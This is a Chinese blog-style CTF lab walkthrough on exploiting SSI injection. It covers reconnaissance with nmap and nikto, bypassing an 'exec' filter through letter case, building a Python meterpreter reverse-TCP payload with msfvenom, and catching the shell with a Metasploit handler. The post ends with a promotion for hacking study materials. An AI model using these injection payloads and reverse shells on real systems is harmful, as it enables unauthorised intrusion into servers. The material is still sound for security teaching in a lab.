CTF之Web安全SSI注入

前言

如何从外部进入主机?

SSI注入攻击介绍

SSI(server side inject)的出现是为了赋予HTML静态页面动态的效果,通过SSI来执行系统命令;并返回对应的结果。

如果再网站目录中发现了.stm;.shtm;.shtml;这样的文件后缀名,并且网站对于SSI的输入没有做到严格过滤或者过滤不充分;很有可能被SSI注入攻击。

SSI语法

显示服务器端环境变量 **< #**echo >

本文档名称:

<!–#echo var=“DOCUMENT_NAME”–>

现在时间:

<!–#echo var=“DATE_LOCAL”–>

显示IP地址:

<! #echo var=“REMOTE_ADDR”–>

将文本内容直接插入到文档中 < #include>

<! #include file=“文件名称”–>

<! #include virtual=“文件名称”–>

注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径

显示WEB文档相关信息 **< #flastmod><#fsize>(**如文件制作日期/大小等 )

文件最近更新日期:

<! #flastmod file=“文件名称”–>

文件的长度:

<!–#fsize file=“文件名称”–>

直接执行服务器上的各种程序 **< #exec>(**如CGI或其他可执行程序 )

<!–#exec cmd=“文件名称”–>

<!–#exec cgi=“文件名称”–>

攻击机:kali 10.0.2.4

靶场机器:linux10.0.2.15

信息探测

扫描主机服务信息以及服务版本nmap -sV [ip]

可以看出靶场机器开放了80端口并且操作系统是ubuntu

快速扫描主机全部信息nmap -T4 -A -v [ip]

既然是开启的http服务,那么就应该是可以访问的,思路就是可以在浏览器直接访问查看有没有可以利用的信息,并且扫描结果显示robots协议中发现一个信息。有时候还会在源代码中藏有信息。

这个在默认界面没有发现信息,但是robots中发现了目录
/spukcab

挨个查看,看看有无敏感信息。可以下载下来,more查看内容,发现一个可能有用的信息,根据前几次的经验,这里可能是个用户名webmaster;只是可能。还有就是站点根目录的位置已经得到了。

其他的暂时没有,继续探测,因为是http服务,所以可以使用nikto或者dirb进行敏感目录扫描

深入挖掘

分析nmap、nikto扫描结果,并对结果进行分析,挖掘可利用的信息;

都进行浏览查看敏感信息,寻找可利用的位置;

挨个访问查看信息,http://10.0.2.15/index

上面扫描中有个SSI

还有这里,发现.shtml文件

猜想可能存在SSI注入,其实找了很多信息,就是为了找到这个能证明有SSI存在的标志。

继续找可以利用的信息,发现http://10.0.2.15/index.php

可以在这个表单提交处,这里执行SSI的命令

漏洞利用

根据提示来利用对应的SSI注入

将上面index页面中的payload复制一下,粘贴到表单中进行提交

像这样

提交后发现第一行过滤了尖括号,第二行的exec被过滤了。而且payload也不是完整的。

绕过这个exec的过滤条件,因为是linux系统,所以首先想到的应该是大小写。而且完整的payload应当在前面有!

像这样

比如:

列举当前目录中的文件和目录

就是可以执行一些终端命令

进一步利用,下载一个shell脚本并重命名为shell.php

制作webshell

之前使用的php制作的webshell,这次使用pythonmsfvenom -p python/meterpreter/reverse_tcp lhost=10.0.2.4 lport=4444 -f raw > /root/Desktop/shell.py

启动监听,使用metasploit对4444端口进行监听msf5 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcpmsf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcppayload => python/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 10.0.2.4lhost => 10.0.2.4msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.2.4:4444

设置好后开始侦听4444端口

将shell.py移动到apache目录下,才可以使用IP地址的链接下载

然后需要开启apache服务service apache2 start

然后执行下载命令将shell下载到靶机的站点目录当中,

然后执行语句赋予shell执行权限再进行执行#加权限 #执行

然后看到浏览器在不断发送请求,到终端查看监听状况,发现返回了meterpreter

输入?可以查看当前可执行的命令Core Commands=Command Description------- -----------? Help menubackgroundBackgrounds the current sessionbgAlias for backgroundbgkillKills a background meterpreter scriptbglistLists running background scriptsbgrun Executes a meterpreter script as a background
threadchannel Displays information or control active channelsclose Closes a channeldisable_unicode_encodingDisables encoding of unicode stringsenable_unicode_encoding Enables encoding of unicode stringsexitTerminate the meterpreter sessionget_timeoutsGet the current session timeout valuesguidGet the session GUIDhelpHelp menuinfoDisplays information about a Post moduleirb Open an interactive Ruby shell on the current
sessionloadLoad one or more meterpreter extensionsmachine_idGet the MSF ID of the machine attached to the
sessionmigrate Migrate the server to another processpry Open the Pry debugger on the current sessionquitTerminate the meterpreter sessionreadReads data from a channelresourceRun the commands stored in a filerun Executes a meterpreter script or Post modulesecure(Re)Negotiate TLV packet encryption on the sessionsessionsQuickly switch to another sessionset_timeoutsSet the current session timeout valuessleep Force Meterpreter to go quiet, then re-establish
session.transport Change the current transport mechanismuse Deprecated alias for "load"uuidGet the UUID for the current sessionwrite Writes data to a channelStdapi: File system Commands
Command Description------- -----------cat Read the contents of a file to the screencdChange directorychecksumRetrieve the checksum of a filechmod Change the permissions of a filecpCopy source to destinationdir List files (alias for ls)downloadDownload a file or directoryeditEdit a filegetlwdPrint local working directorygetwd Print working directorylcd Change local working directorylls List local fileslpwdPrint local working directorylsList filesmkdir Make directorymvMove source to destinationpwd Print working directoryrmDelete the specified filermdir Remove directorysearchSearch for filesuploadUpload a file or directoryStdapi: Networking Commands=Command Description------- -----------ifconfigDisplay interfacesipconfigDisplay interfacesportfwd Forward a local port to a remote serviceresolve Resolve a set of host names on the targetStdapi: System Commands=Command Description------- -----------execute Execute a commandgetenvGet one or more environment variable valuesgetpidGet the current process identifiergetuidGet the user that the server is running askillTerminate a processlocaltime Displays the target system’s local date and timepgrep Filter processes by namepkill Terminate processes by namepsList running processesshell Drop into a system command shellsysinfo Gets information about the remote system, such as OSStdapi: Audio Output Commands=================Command Description------- -----------playplay a waveform audio file (.wav) on the target system输入shell进行利用,再查看id,发现当前登录的只是一个普通用户,而不是root用户

终端可以选择进行优化一下,就是让其显示用户名和主机名,和kali的终端形式那样。python -c ‘import pty;pty.spawn(“/bin/bash”)’

然后就是提权,靶场没有设置flag值,目的是为了学习SSI注入,所以就不再继续进行下去了。

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

朋友们如果有需要全套《黑客&网络安全入门&进阶学习资源包》,点击下方链接即可前往免费获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》

这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值